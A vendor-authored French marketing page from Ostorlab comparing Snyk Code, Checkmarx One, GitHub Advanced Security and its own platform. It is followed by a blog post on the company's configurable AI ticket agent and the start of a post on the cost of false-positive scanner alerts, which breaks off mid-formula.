Snyk Code, Checkmarx One et GitHub Advanced Security sont chacun les plus performants dans un contexte différent. Snyk Code est conçu pour les développeurs travaillant dans l'IDE et la pull request. Checkmarx One est conçu pour les équipes AppSec d'entreprise qui ont besoin d'une large couverture de langages, de gouvernance et de rapports d'audit. GitHub Advanced Security est le choix naturel pour les équipes dont le code se trouve déjà sur GitHub. Ostorlab adopte une approche différente : lorsque le code est scanné conjointement avec l'application en cours d'exécution, l'agent attache un exploit fonctionnel à chaque résultat qu'il confirme. Choisissez Ostorlab lorsque le problème réside dans un trop grand nombre de résultats non prouvés, ou lorsque le risque se situe entre votre code et les applications qui en sont issues.

Ostorlab en un coup d'œil

Ce que c'est : Ostorlab est une plateforme de test de sécurité applicative pour le code source, les applications web, les API et les applications mobiles (Android, iOS et HarmonyOS).

Idéal pour : Les équipes qui veulent que les résultats SAST soient prouvés exploitables, et les équipes dont le risque traverse le code, les API et les applications mobiles.

Déploiement : SaaS, hybride, ou nœuds de scan sur site.

Capacités principales : Analyse agentique du code source pour les failles logiques, scans multi-actifs du code conjointement avec les applications qui en sont issues, validation d'exploit contre la cible en cours d'exécution, et correctifs poussés vers la pull request.

Facteur différenciant clé : Lorsqu'une application en cours d'exécution est dans le périmètre, chaque résultat confirmé par les agents IA d'Ostorlab est accompagné d'un exploit fonctionnel, d'une sévérité, d'un impact et de preuves. Les dépôts scannés seuls obtiennent des résultats avec contexte de code et preuves, sans exploit.

Modèle IA : Ostorlab Cyber Models ou votre propre clé de fournisseur IA.

Tarification : Plans publiés.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et commercialise la plateforme Ostorlab comparée ici. Les descriptions de Snyk, Checkmarx et GitHub sont basées sur leurs sites web publics et leur documentation produit au 7 octobre 2026, liés dans Sources. Les descriptions d'Ostorlab sont basées sur les pages produit et la documentation d'Ostorlab elles-mêmes.

Critères d'évaluation : couverture des langages, workflow développeur (IDE, pull request, CI/CD), gestion des faux positifs, preuve d'exploitabilité d'un résultat, détection des failles logiques et multi-étapes, tests sur le code et les applications en cours d'exécution, correctifs assistés par IA, déploiement et contrôle des données, et modèle de tarification.

Comparaison en un coup d'œil

Capacité	Snyk Code	Checkmarx One	GitHub Advanced Security	Ostorlab
Idéal pour	Développeurs dans l'IDE et la PR	Programmes AppSec d'entreprise	Équipes sur GitHub	Équipes qui veulent un risque prouvé
Langages SAST	16 groupes de langages	Large, incl. COBOL et PL/SQL	10 groupes de langages, via CodeQL	Tous les langages, 53 listés
Extensions pour éditeur de code	✅ VS Code, JetBrains, Visual Studio, Eclipse	✅ Developer Assist	✅ Via GitHub et Copilot	⚠️ Pas d'extension d'éditeur ; via les clients MCP
Workflow pull request	✅	✅	✅ Natif	✅ Correctifs poussés vers la PR
Réduction du bruit	Analyse symbolique et ML	Analyse et triage des résultats par IA	Flux de données sémantique	Raisonnement de l'agent avec preuves
Preuve d'exploitabilité	❌	❌	❌	✅ Dans les scans multi-actifs
Failles logiques et multi-étapes	Règles et flux de données	Règles, flux de données, modèles IA	Requêtes CodeQL	✅ Analyse agentique
Code, API et mobile en un seul scan	❌	❌	❌	✅
Correctifs assistés par IA	✅ Agent Fix	✅ Remédiation IA	✅ Copilot Autofix	✅ Correctifs dans la PR
Déploiement	SaaS, Broker pour Git auto-hébergé	Cloud ; CxSAST sur site	GitHub cloud, Azure DevOps	SaaS, hybride ou sur site
Votre propre clé IA	⚠️ Pour les correctifs, en preview	Non trouvé dans la documentation publique	Non trouvé dans la documentation publique	✅
Tarification	Plan gratuit ; Team à partir de 25 $ par mois	Sur devis	30 $ Code Security, 19 $ Secret Protection, par committer et par mois	Plans publiés

Ce que chaque outil fait le mieux

Snyk Code

Snyk Code est un outil SAST orienté développeur qui prend en charge 16 groupes de langages : Apex, C/C++, COBOL, Dart et Flutter, Go, Groovy, Java et Kotlin, JavaScript, .NET (C# et VB.NET), PHP, Python, Ruby, Rust, Scala, Swift et Objective-C, et TypeScript. Sa force réside dans le workflow développeur : des extensions IDE pour VS Code, les IDE JetBrains, Visual Studio et Eclipse, des scans rapides, et Snyk Agent Fix, qui génère et vérifie des correctifs candidats pour les résultats de Snyk Code. Snyk Code s'inscrit dans une plateforme Snyk plus large qui couvre également les dépendances open source, les conteneurs et l'infrastructure as code.

Snyk est en SaaS. Les équipes avec un serveur Git auto-hébergé le connectent via Snyk Broker plutôt que de faire tourner l'ensemble du produit sur leur propre infrastructure. Le Remediation Agent de Snyk, en preview publique, peut générer des correctifs avec votre propre clé LLM. Les plans de Snyk commencent par un plan gratuit, et le plan Team démarre à 25 $ par mois.

Idéal pour : Snyk Code convient le mieux aux équipes pilotées par l'ingénierie qui veulent que les développeurs trouvent et corrigent eux-mêmes les problèmes, dans l'IDE et la pull request.

Checkmarx One

Checkmarx est l'un des plus anciens éditeurs SAST d'entreprise. Checkmarx One combine le SAST avec le SCA, les secrets, l'IaC, la sécurité des conteneurs et des API. Il couvre une large gamme de langages, y compris des langages historiques comme COBOL et PL/SQL, et offre une gouvernance, une politique et des rapports solides. Son Finding Analysis Engine confirme les vrais positifs et supprime les faux, ce qui, selon Checkmarx, réduit les faux positifs de 60 %. Triage Assist classe les résultats selon leur degré d'attaquabilité, et Developer Assist apporte des correctifs IA dans l'IDE.

Checkmarx One fonctionne dans le cloud. Checkmarx commercialise toujours CxSAST pour un déploiement sur site, mais Checkmarx précise que CxSAST utilise le moteur traditionnel basé sur des règles, sans le moteur basé sur l'IA, le Finding Analysis Engine ou Checkmarx Fusion.

Idéal pour : Checkmarx One convient le mieux aux grandes organisations disposant d'une équipe AppSec dédiée, d'un parc de langages large ou historique, et de besoins de reporting de conformité.

GitHub Advanced Security (CodeQL)

GitHub Advanced Security est désormais vendu sous forme de deux produits : GitHub Code Security, à 30 $ par committer actif et par mois, et GitHub Secret Protection, à 19 $ par committer actif et par mois. Les deux nécessitent un plan GitHub Team ou Enterprise. Code Security inclut le code scanning CodeQL, Copilot Autofix, la revue de dépendances et les campagnes de sécurité. Le code scanning et le secret scanning sont activés par défaut pour les dépôts publics.

CodeQL couvre C/C++, C#, Go, Java et Kotlin, JavaScript et TypeScript, Python, Ruby, Rust, Swift et les workflows GitHub Actions. Son analyse sémantique suit le flux de données à travers les fichiers, et la configuration par défaut active le code scanning depuis les paramètres du dépôt, avec des alertes affichées sur la pull request. En dehors de GitHub, la principale option est GitHub Advanced Security pour Azure DevOps.

Idéal pour : GitHub Advanced Security convient le mieux aux équipes dont les dépôts et les pull requests se trouvent déjà sur GitHub et qui veulent la sécurité au même endroit.

Ostorlab

Ostorlab est une plateforme de test de sécurité applicative pour le code source, les applications web, les API et les applications mobiles. Ostorlab prend en charge tous les langages de programmation, et sa page de code source en liste 53, dont Python, JavaScript, TypeScript, Java, Kotlin, Go, C, C++, C#, PHP, Ruby, Rust, Scala, Swift, Objective-C, Dart, Elixir et Zig. Au lieu de confronter le code à un jeu de règles, un agent IA raisonne sur les flux de données inter-fichiers, les dépendances, les patterns de framework et les conditions chaînées. Cela lui permet de rechercher des failles logiques métier et complexes, telles que des contrôles d'autorisation défaillants, des transitions d'état non sécurisées et des contournements de workflow, que le pattern matching manque souvent. Vous choisissez le niveau d'effort (Core, Advanced ou Elite) et l'exécutez sur Ostorlab Cyber Models ou sur votre propre clé de fournisseur IA.

La différence la plus importante réside dans ce qui se passe ensuite. Dans un scan multi-actifs, Ostorlab scanne vos dépôts conjointement avec les applications web, les API et les applications mobiles qui en sont issues. L'agent teste ensuite chaque chemin contre la cible en cours d'exécution et le signale avec une preuve de concept d'exploit, de sorte qu'un résultat arrive comme un risque prouvé plutôt que comme une alerte théorique.

Idéal pour : Ostorlab convient le mieux aux équipes de sécurité submergées d'alertes SAST non prouvées, et aux équipes dont le risque réel traverse le code, les API et les applications mobiles.

Différences clés

Détecter une faille vs la prouver

Snyk Code, Checkmarx et CodeQL sont tous statiques : ils déterminent si un chemin de code semble vulnérable sans l'exécuter. Chacun a beaucoup investi dans la réduction du bruit, via une analyse symbolique et par machine learning chez Snyk, une analyse et un triage des résultats par IA chez Checkmarx, et une analyse sémantique de flux de données dans CodeQL. Ces approches améliorent les chances qu'un résultat soit réel, mais le résultat reste une prédiction.

Ostorlab ajoute une étape que les outils statiques ne franchissent pas. Lorsque l'application en cours d'exécution est dans le périmètre, l'agent tente d'atteindre le chemin vulnérable depuis l'extérieur et enregistre la requête, la réponse et l'impact. Un résultat accompagné d'un exploit fonctionnel ne nécessite pas de débat sur son accessibilité.

Le code seul vs le chemin à travers l'ensemble de l'application

De nombreux bugs sérieux ne résident pas en un seul endroit. Un jeton laissé dans un dépôt, accepté par une API, et utilisé depuis une application mobile ressemble à trois résultats à faible risque lorsque chaque actif est scanné séparément. Snyk, Checkmarx et GitHub scannent le code en tant que code.

Le scan multi-actifs d'Ostorlab réunit dépôts, API, back-ends web et applications mobiles dans un seul scan, de sorte que l'agent peut suivre une faiblesse depuis le code qui l'a introduite jusqu'au point de terminaison où elle peut être exploitée. Les développeurs obtiennent alors un correctif qui pointe vers le code, et non seulement vers le point de terminaison où le bug s'est manifesté.

Workflow développeur

C'est là que les outils orientés développeur prennent l'avantage. Snyk dispose d'extensions IDE matures, Checkmarx apporte Developer Assist dans l'IDE, et GitHub place les alertes de code scanning et Copilot Autofix directement sur la pull request.

Ostorlab fonctionne au niveau de la pull request : scanner la branche, le tag ou le commit exact en cours de revue, trier les résultats priorisés, et renvoyer le correctif dans la pull request. Il ne fournit pas d'extension pour les éditeurs de code. L'IDE propre à Ostorlab est un environnement d'analyse intégré à la plateforme, où les ingénieurs sécurité parcourent le code et les fichiers d'application, suivent l'analyse de teinte, le trafic et les requêtes API, et écrivent des vérifications personnalisées en plus du scan. Les développeurs qui travaillent avec des assistants IA peuvent accéder à leurs résultats via le serveur MCP d'Ostorlab depuis des clients comme Cursor, VS Code, Claude Code, Windsurf et Zed. Si le scan dans l'IDE au fur et à mesure de la frappe est le besoin, Snyk ou Checkmarx est le meilleur choix.

Déploiement et contrôle des données

Snyk est en SaaS, avec Snyk Broker pour le contrôle de code source auto-hébergé. GitHub Advanced Security fonctionne sur GitHub, ou sur Azure DevOps via Microsoft. Checkmarx propose CxSAST sur site, sans ses dernières capacités IA.

Ostorlab fonctionne en SaaS, ou avec des nœuds de scan déployés dans votre environnement pour les dépôts privés et les applications pré-publication. Comme l'analyse IA peut s'exécuter sur votre propre clé de fournisseur, les équipes de la banque, de la santé et du secteur public peuvent conserver le raisonnement sur le code sur un modèle qu'elles contrôlent déjà.

Modèle de tarification

Outil	Tarification
Snyk Code	Plan gratuit ; Team à partir de 25 $ par mois ; Enterprise sur devis
Checkmarx One	Sur devis
GitHub Advanced Security	30 $ par committer actif et par mois pour Code Security ; 19 $ pour Secret Protection
Ostorlab	Plans publiés

Le coût de GitHub augmente avec le nombre de personnes qui commitent, ce qui convient aux petites équipes et devient coûteux pour les grandes. Comparez en fonction de la taille de votre équipe et du nombre d'applications à couvrir, pas seulement sur le prix catalogue.

Lequel choisir ?

Choisissez Snyk Code si les développeurs sont propriétaires des résultats de sécurité et que vous voulez un retour dans l'IDE au moment où le code est écrit.
Choisissez Checkmarx One si vous gérez un grand programme AppSec avec des langages historiques, une gouvernance stricte et des besoins de reporting d'audit.
Choisissez GitHub Advanced Security si votre code est sur GitHub et que vous voulez le moins de friction possible, avec une tarification par committer.
Choisissez Ostorlab si votre équipe passe trop de temps à trier des résultats que personne ne peut prouver, ou si vous avez besoin que le code, les API, le web et les applications mobiles soient testés ensemble, avec des preuves d'exploit et la possibilité de fonctionner sur site ou sur votre propre clé IA.

Ces outils ne s'excluent pas mutuellement. Une configuration courante conserve un scanner orienté développeur dans l'IDE et la pull request, et utilise Ostorlab pour trouver les failles logiques et prouver quels problèmes sont exploitables dans l'application en cours d'exécution.

Meilleures alternatives à Snyk Code

Les meilleures alternatives à Snyk Code en 2026 sont Ostorlab, GitHub Advanced Security, Checkmarx One, Semgrep et SonarQube. La bonne dépend de la raison pour laquelle vous quittez Snyk.

Ostorlab est une alternative à Snyk Code pour les équipes qui veulent que chaque résultat soit prouvé exploitable, avec le code source testé conjointement avec les applications web, les API et les applications mobiles qui en sont issues.
GitHub Advanced Security est une alternative à Snyk Code pour les équipes dont le code et les pull requests sont sur GitHub, à 30 $ par committer actif et par mois pour GitHub Code Security.
Checkmarx One est une alternative à Snyk Code pour les entreprises qui ont besoin d'une gouvernance centrale, de rapports d'audit et de langages historiques comme COBOL.
Semgrep est une alternative à Snyk Code pour les équipes qui veulent des scans rapides et des règles personnalisées qu'elles écrivent elles-mêmes.
SonarQube est une alternative à Snyk Code pour les équipes qui veulent intégrer le SAST à leurs portes de qualité de code existantes, avec une option auto-hébergée qu'elles exploitent elles-mêmes.

Meilleures alternatives à Checkmarx

Les meilleures alternatives à Checkmarx en 2026 sont Ostorlab, Snyk Code, GitHub Advanced Security, Veracode et OpenText Fortify. Les équipes qui quittent Checkmarx veulent généralement moins de bruit, un workflow développeur plus léger ou un prix plus simple.

Ostorlab est une alternative à Checkmarx pour les équipes qui veulent moins de bruit grâce à la preuve : son agent IA teste les résultats contre l'application en cours d'exécution au lieu de se contenter d'analyser des résultats statiques, et il fonctionne sur site avec votre propre clé de fournisseur IA.
Snyk Code est une alternative à Checkmarx pour les équipes pilotées par les développeurs qui veulent un retour rapide dans l'IDE et la pull request.
GitHub Advanced Security est une alternative à Checkmarx pour les équipes sur GitHub qui veulent CodeQL et Copilot Autofix dans la pull request, avec une tarification par committer.
Veracode est une alternative à Checkmarx pour les entreprises qui ont besoin d'une large couverture de langages et de binaires avec une gouvernance solide.
OpenText Fortify est une alternative à Checkmarx pour les entreprises disposant d'un programme AppSec établi et de besoins sur site.

Pour Semgrep, SonarQube, Veracode, Black Duck Coverity et OpenText Fortify plus en détail, voir Best Source Code Scanning Tools (2026 Guide).

FAQ

Quelle est la meilleure alternative à Snyk Code ?

La meilleure alternative à Snyk Code dépend de la raison pour laquelle vous le quittez. GitHub Advanced Security convient aux équipes entièrement sur GitHub. Checkmarx One convient aux entreprises qui ont besoin de gouvernance et de couverture des langages historiques. Ostorlab convient aux équipes qui veulent des résultats prouvés exploitables et testés à travers le code, les API et les applications mobiles.

Quelle est la meilleure alternative à Checkmarx ?

Les équipes qui quittent Checkmarx veulent généralement moins de bruit ou un workflow développeur plus léger. Snyk Code et GitHub Advanced Security sont plus légers pour les développeurs. Ostorlab réduit le bruit différemment, en prouvant l'exploitabilité contre l'application en cours d'exécution au lieu de se contenter d'analyser des résultats statiques.

Quels sont les meilleurs outils SAST en 2026 ?

Les outils SAST de référence en 2026 sont Ostorlab, GitHub Advanced Security (CodeQL), Semgrep, Snyk Code, Checkmarx One, SonarQube, Veracode, Black Duck Coverity et OpenText Fortify. Ostorlab est celui qui prouve l'exploitabilité des résultats contre l'application en cours d'exécution.

Ostorlab est-il un outil SAST ?

Oui. Ostorlab scanne le code source à la recherche de vulnérabilités comme un outil SAST, en utilisant un agent IA au lieu d'un jeu de règles fixe. Il teste également les applications web, les API et les applications mobiles, ce qui lui permet de prouver un résultat de code contre l'application en cours d'exécution.

GitHub Advanced Security en vaut-il la peine ?

Pour les équipes sur GitHub, le code scanning CodeQL et Copilot Autofix de GitHub Code Security sont difficiles à battre en termes de commodité. Les contreparties sont le prix, à 30 $ par committer actif et par mois, et le fait que CodeQL, comme les autres outils SAST, rend compte du code sans tester l'application en cours d'exécution.

Ostorlab remplace-t-il Snyk ou Checkmarx ?

Ostorlab peut remplacer Snyk Code ou Checkmarx One pour les équipes dont la priorité est le risque prouvé et les failles logiques. Les équipes qui veulent un scan au fur et à mesure de la frappe dans l'IDE conservent souvent un scanner orienté développeur et utilisent Ostorlab pour l'analyse agentique et la validation d'exploit.

Quels langages de programmation Ostorlab prend-il en charge pour le scan de code source ?

Ostorlab prend en charge tous les langages de programmation. Sa page de code source en liste 53, dont Python, JavaScript, TypeScript, Java, Kotlin, Go, C, C++, C#, PHP, Ruby, Rust, Scala, Swift, Objective-C, Dart, Elixir et Zig.

Ostorlab peut-il scanner du code source sur site ?

Oui. Les nœuds de scan d'Ostorlab peuvent s'exécuter dans votre environnement pour les dépôts privés, et l'analyse IA peut utiliser votre propre clé de fournisseur IA.

Comment cette comparaison a été réalisée

Les faits concernant Snyk, Checkmarx et GitHub proviennent de leur documentation officielle et de leurs pages de tarification, vérifiés le 7 octobre 2026 et liés dans Sources. Les éditeurs mettent à jour ces pages fréquemment.
La comparaison couvre les capacités et la tarification publiées, pas un benchmark de taux de détection.
Ostorlab attache un exploit fonctionnel lorsque l'application web, l'API ou l'application mobile en cours d'exécution est dans le périmètre. Un dépôt scanné seul obtient des résultats avec contexte de code et preuves.

Sources

Les faits concernant les autres éditeurs ont été vérifiés le 7 octobre 2026 sur ces pages officielles :

Snyk : langages pris en charge, extensions IDE, Snyk Agent Fix, Snyk Broker, Remediation Agent, plans
Checkmarx : plateforme Checkmarx One, langages pris en charge par SAST, annonce du Finding Analysis Engine, Developer Assist, CxSAST, offres
GitHub : plans et tarification de sécurité, langages pris en charge par CodeQL, GitHub Advanced Security pour Azure DevOps
Ostorlab : scan de code source, scan multi-actifs, scan sur site, serveur MCP, plans

En résumé

Snyk Code, Checkmarx One et GitHub Advanced Security sont tous de solides outils SAST, et le bon choix dépend de qui est propriétaire de vos résultats : les développeurs, une équipe AppSec d'entreprise, ou une équipe qui vit sur GitHub. Tous les trois répondent à la même question : ce code semble-t-il vulnérable ? Ostorlab répond à la question suivante : quelqu'un peut-il réellement l'exploiter, et par quelle partie de l'application ?

Voyez-le sur votre propre code : lancez un scan de code source et comparez les résultats avec l'outil que vous utilisez aujourd'hui.

Vous utilisez déjà Snyk, Checkmarx ou GitHub Advanced Security ? Comparez Ostorlab avec votre outil actuel sur la même application : même cible, même durée. Un résultat ne compte que lorsque votre équipe l'a reproduit.

Nous avons créé un agent IA pour notre propre backlog. Il est maintenant à vous.

2026-10-06T09:00:00+02:00

Le problème

Chez Ostorlab, nous construisons des outils qui trouvent des problèmes, dans les applications mobiles, les applications web, les API et le code. C'est notre métier, et il a un coût : chaque problème que nous trouvons devient un ticket.

Notre propre plateforme n'y échappe pas. Des erreurs apparaissent dans nos logs, des bugs sont signalés, des scans détectent des problèmes, et chacun devient un ticket. Et les tickets continuaient d'arriver.

Beaucoup n'étaient pas difficiles. Une stack trace indiquait la ligne exacte, le message d'erreur disait ce qui s'était passé, et le correctif tenait souvent en quelques lignes de code. Mais quelqu'un devait quand même interrompre ce qu'il faisait : ouvrir le ticket, le lire, trouver le code, écrire le correctif, le tester et ouvrir une pull request.

Les tickets simples attendaient donc, non parce qu'ils étaient difficiles, mais parce que tout le monde était occupé par un travail plus difficile. Un petit correctif pouvait rester des jours en attente, et le backlog grossissait. Pas à cause de problèmes difficiles, mais de problèmes faciles pour lesquels personne n'avait le temps.

L'opportunité

En regardant ces tickets de plus près, nous avons remarqué quelque chose. Beaucoup d'entre eux n'avaient pas du tout été écrits par des personnes. Ils étaient générés automatiquement à partir des logs d'erreurs et des résultats de scans, et ces sources capturent déjà les détails : le message d'erreur, la stack trace, le fichier, la ligne. Les tickets disaient déjà ce qui était cassé, où, et souvent pourquoi.

Nous avions conçu ces tickets pour donner à nos ingénieurs tout ce dont ils ont besoin pour commencer un correctif. Et ce dont un ingénieur a besoin pour commencer un correctif, nous l'avons compris, c'est aussi ce dont un agent IA a besoin. L'information était là. Ce qui manquait, c'était le temps.

Cela nous a conduits à poser une question simple : et si un agent pouvait prendre le ticket et commencer le correctif ?

Les agents de code savaient déjà lire du code, suivre une erreur et écrire un correctif. La plupart attendaient encore qu'un développeur les ouvre et saisisse un prompt. Nous voulions autre chose. Nous ne voulions pas d'un outil de plus que les ingénieurs doivent penser à utiliser ; nous voulions que le travail démarre là où il vivait déjà, dans le ticket.

Un ticket arrive, un agent le prend en charge, une pull request en ressort, et un ingénieur la relit. L'ingénieur garde le contrôle et évite simplement la partie répétitive. Et comme chaque ticket est confié à son propre agent, le travail évolue avec le backlog : autant d'agents s'exécutent en parallèle qu'il y a de tickets à traiter.

La première version

Nous avons commencé petit, volontairement. Nous avons construit un agent avec une seule mission : lire un ticket de bug et ouvrir une pull request qui le corrige.

Nous l'avons appelé Rubberduck. Tout le monde dans l'équipe n'aime pas ce nom. Il est resté quand même.

Le fonctionnement était simple. Un ingénieur assignait un ticket à Rubberduck, comme il l'aurait assigné à un coéquipier. Puis l'agent prenait le relais :

Il lisait le ticket et ses commentaires.
Il trouvait le bon code.
Il déterminait ce qui n'allait pas.
Il écrivait un correctif et ouvrait une pull request.
Il laissait un commentaire sur le ticket avec un lien vers cette pull request.

Si un relecteur demandait une modification, il n'avait pas besoin d'un nouvel outil. Il laissait un commentaire, comme pour n'importe quel collègue, et Rubberduck le lisait et mettait son travail à jour.

C'était tout. Pas de tableau de bord, pas de paramètres : un agent, une mission. Il n'était pas parfait, mais il était suffisamment bon pour que nous le mettions au travail sur de vrais tickets.

Son utilisation en interne

Nous avons confié à Rubberduck de vrais tickets de notre propre backlog, et il a commencé à ouvrir des pull requests. Certaines étaient bonnes, d'autres non, et chaque erreur nous a appris quelque chose.

Trouver la cause, pas le symptôme. Les premiers correctifs masquaient parfois l'erreur au lieu de la résoudre. Nous avons donc appris à l'agent à travailler comme un ingénieur rigoureux : lire l'erreur, remonter à sa vraie cause, la reproduire, puis la corriger.

Écrire pour des humains. Les premiers titres de pull requests étaient souvent le simple message d'erreur copié depuis le ticket. Difficile à lire dans une longue liste. Désormais, l'agent écrit un titre court qui dit ce qu'il a corrigé.

Dire quand on ne sait pas. Parfois, un ticket ne contenait pas assez d'informations. L'agent devinait, et les suppositions donnent de mauvais correctifs. Nous lui avons appris à s'arrêter et à demander. Il peut désormais indiquer qu'un ticket est corrigé, partiellement corrigé, bloqué, ou qu'il faut plus de contexte.

Terminer le travail. Une pull request avec des tests en échec n'est pas un correctif. L'agent attend donc désormais que les vérifications passent, et corrige ce qui casse.

Suivre nos règles. Chaque équipe a sa manière d'écrire du code. Nous avons donné à l'agent nos guides de style. Nous lui avons aussi donné une mémoire, pour qu'une leçon apprise sur un ticket serve au suivant.

Garder les secrets hors de portée. L'agent a besoin d'accéder à notre code, mais il ne doit jamais voir nos mots de passe ni nos secrets. Nous les avons donc complètement sortis de sa portée : ils sont injectés à l'exécution, de sorte que l'agent peut les utiliser mais jamais les lire.

Nous avons cessé de considérer Rubberduck comme une expérience quand ses pull requests ont commencé à apparaître dans notre file de relecture à côté de celles de tout le monde. Nous les relisions de la même façon. Il était devenu un membre de l'équipe.

Une prise de conscience plus large

Une fois que Rubberduck a fonctionné, des membres de l'équipe ont commencé à en demander plus :

« Peut-il trier les nouveaux tickets selon leur urgence ? » « Peut-il vérifier nos résultats par rapport à nos règles de conformité ? » « Peut-il passer en revue les tickets ouverts chaque lundi ? »

Ces idées étaient bonnes, mais Rubberduck ne pouvait pas les réaliser. Sa mission était intégrée à sa conception : il corrigeait du code, et rien d'autre. Nous avions déjà construit un deuxième agent, qui planifiait le travail au lieu d'écrire du code, et il avait le même problème : sa mission était, elle aussi, intégrée. Nous pouvions continuer à construire un nouvel agent pour chaque nouvelle mission, mais cela n'aurait jamais de fin.

Utiliser Rubberduck ne demandait aucune configuration. Construire chaque nouvel agent, si : il fallait écrire à la main un long fichier de configuration où chaque nom devait être exact. Cela fonctionnait, mais nous sentions qu'il existait une meilleure façon de faire.

C'est alors que nous avons vu la vraie opportunité. Le problème n'a jamais été « nous avons besoin d'un agent qui corrige du code ». Le problème était « nous avons dans nos tickets du travail pour lequel personne n'a le temps », et corriger du code n'était qu'un type de ce travail.

Un agent ne devrait donc pas avoir de mission figée. Il devrait accepter la mission que lui confie une équipe, et le configurer devrait ressembler à remplir un formulaire, pas à écrire un fichier de configuration. Vous décrivez la mission avec des mots simples, vous choisissez un modèle et vous décidez quand il s'exécute.

Ce que nous avons construit

Nous avons reconstruit le ticket agent autour de cette idée. Il n'existe désormais qu'un seul type d'agent, et il n'a aucune mission tant que vous ne lui en donnez pas une. Vous le configurez dans un formulaire, en quelques étapes.

Donnez-lui un nom. Le nom que vous voulez. Choisissez bien : les noms restent. Nous le savons.

Donnez-lui une mission. Vous écrivez ce que l'agent doit faire, avec des mots simples. Vous ne savez pas par où commencer ? Notre guide de configuration vous accompagne pas à pas, avec les leçons que nous avons apprises en chemin.

Donnez un nom et une mission à l'agent

Choisissez un modèle. Vous pouvez utiliser votre propre clé de fournisseur d'IA, ou utiliser les modèles fournis par Ostorlab et payer avec votre solde de crédits. Chaque exécution réserve des crédits à son démarrage, et les crédits non utilisés vous sont restitués.

Choisissez un modèle

Choisissez quand il s'exécute. Vous ajoutez des règles. Une règle peut se déclencher :

lorsqu'il se passe quelque chose sur un ticket : il est créé, assigné, rouvert, reçoit un nouveau commentaire ou dépasse son échéance,
lorsqu'un scan se termine,
ou selon un calendrier, par exemple chaque lundi matin.

Vous pouvez affiner chaque règle. Par exemple, uniquement les tickets critiques, ou uniquement les scans d'une application.

Choisissez quand l'agent s'exécute

Apprenez-lui votre façon de travailler. Vous pouvez lui donner des skills : de courts guides qui expliquent comment votre équipe procède. Vous pouvez aussi lui donner une mémoire, pour que ce qu'il apprend sur un ticket serve au suivant.

Connectez-le à vos outils. L'agent peut utiliser des serveurs MCP (Model Context Protocol), ce qui lui permet de travailler avec les outils que votre équipe utilise déjà, et pas seulement ceux d'Ostorlab.

Connectez l'agent à vos outils

Travaillez à côté des personnes. Vous assignez un ticket à un agent comme vous l'assigneriez à un coéquipier. Un ticket peut avoir les deux. L'agent fait sa part, et la personne garde la main.

Partez d'un template. Si vous ne voulez pas partir de zéro, vous pouvez utiliser un agent prêt à l'emploi pour le tri des vulnérabilités ou la revue de conformité.

Partez d'un template

Ses règles sont désactivées au départ, donc rien ne s'exécute tant que vous ne le décidez pas.

Les règles des templates sont désactivées au départ

Ce que le ticket agent peut faire pour votre équipe

Nous l'avons d'abord construit pour nous-mêmes. Il est maintenant prêt pour votre équipe.

Votre agent peut corriger des bugs, trier de nouveaux tickets, revoir la conformité ou faire le point chaque lundi. Vous décidez de sa mission, de son moment d'exécution et de ce qu'il a le droit de toucher, et une personne a toujours le dernier mot.

Si votre backlog ressemble à ce qu'était le nôtre, le ticket agent peut régler les tickets faciles pour que votre équipe reste concentrée sur les difficiles.

Commencez petit, comme nous. Choisissez un template, assignez-lui un ticket de test, lisez ce qu'il dit, puis décidez de ce que vous lui confierez ensuite.

Vous trouverez les ticket agents sous Agents → AI Agents sur la plateforme, et le guide complet de configuration du ticket agent couvre la configuration de bout en bout.

Questions fréquentes

Qu'est-ce que le ticket agent d'Ostorlab ? C'est un agent IA qui traite votre backlog de tickets. Vous lui donnez une mission avec des mots simples, vous choisissez un modèle et vous définissez des règles de déclenchement. Il peut corriger des bugs et ouvrir des pull requests, trier de nouveaux tickets, revoir la conformité ou s'exécuter selon un calendrier, et une personne relit toujours son travail.

Comment l'agent sait-il quand s'exécuter ? Vous ajoutez des règles. Une règle peut se déclencher lorsqu'il se passe quelque chose sur un ticket (il est créé, assigné, rouvert, commenté ou dépasse son échéance), lorsqu'un scan se termine, ou selon un calendrier, par exemple chaque lundi matin. Vous pouvez affiner chaque règle, par exemple pour ne viser que les tickets critiques ou que les scans d'une application.

Puis-je utiliser mon propre modèle d'IA ? Oui. Vous pouvez apporter votre propre clé de fournisseur d'IA, ou utiliser les modèles fournis par Ostorlab et payer avec votre solde de crédits. Chaque exécution réserve des crédits à son démarrage, et ceux qui ne sont pas utilisés vous sont restitués.

L'agent remplace-t-il mes ingénieurs ? Non. Vous assignez un ticket à un agent comme vous l'assigneriez à un coéquipier, et un ticket peut avoir les deux. L'agent s'occupe de la partie répétitive et ouvre une pull request ; une personne la relit et a le dernier mot.

Peut-il se connecter à des outils extérieurs à Ostorlab ? Oui. L'agent peut utiliser des serveurs MCP (Model Context Protocol), qu'ils soient distants, locaux ou Ostorlab OXO, afin de travailler avec les outils que votre équipe utilise déjà.

Comment démarrer ? Choisissez un template comme Vulnerability Triage ou Compliance Review, assignez-lui un ticket de test et lisez ce qu'il rapporte. Ses règles sont désactivées au départ, donc rien ne s'exécute tant que vous ne les activez pas. Le guide de configuration complet couvre la configuration de bout en bout.

Besoin d'aide pour configurer votre premier agent ? Écrivez à support@ostorlab.dev.

Le vrai coût des faux positifs : calculer la taxe d'ingénierie des scanners bruyants

2026-09-28T10:00:00+02:00

Un faux positif peut coûter 30 $, 300 $ ou 3 000 $ à une équipe d'ingénierie.

Avec un taux chargé de 90 $ de l'heure, une clôture en 20 minutes coûte 30 $. Le scénario à 300 $ ci-dessous suppose 2,5 heures de développeur à 120 $ de l'heure. Une reconstitution nécessitant huit heures chacune d'un développeur senior à 180 $ de l'heure et d'un relecteur AppSec à 195 $ de l'heure coûte 3 000 $ (8 × (180 $ + 195 $)).

Le même scanner peut engendrer des coûts très différents selon la personne qui traite l'alerte et la quantité de contexte qu'elle doit reconstituer.

C'est pourquoi « notre scanner produit moins de faux positifs » ne constitue pas, à lui seul, un argumentaire économique. La question utile est :

Combien de temps d'ingénierie une alerte consomme-t-elle avant que l'équipe puisse décider avec confiance de la corriger, de la différer ou de la clore ?

Pour un programme de sécurité bruyant, ce temps devient une taxe d'ingénierie. Elle se paie en travail de développement interrompu, en investigation AppSec, en fils de discussion Slack, en tickets en double et en perte de confiance dans l'alerte suivante.

Combien les faux positifs coûtent-ils aux équipes d'ingénierie ?

Les faux positifs coûtent aux équipes d'ingénierie le coût chargé de chaque alerte non actionnable, définie ici comme une alerte close sans tâche de remédiation, qui atteint un workflow humain. Le temps de développeur seul représente 300 $ par alerte dans l'exemple détaillé ci-dessous.

Utilisez ce modèle :

Annual noise cost =
non-actionable alerts that reach humans
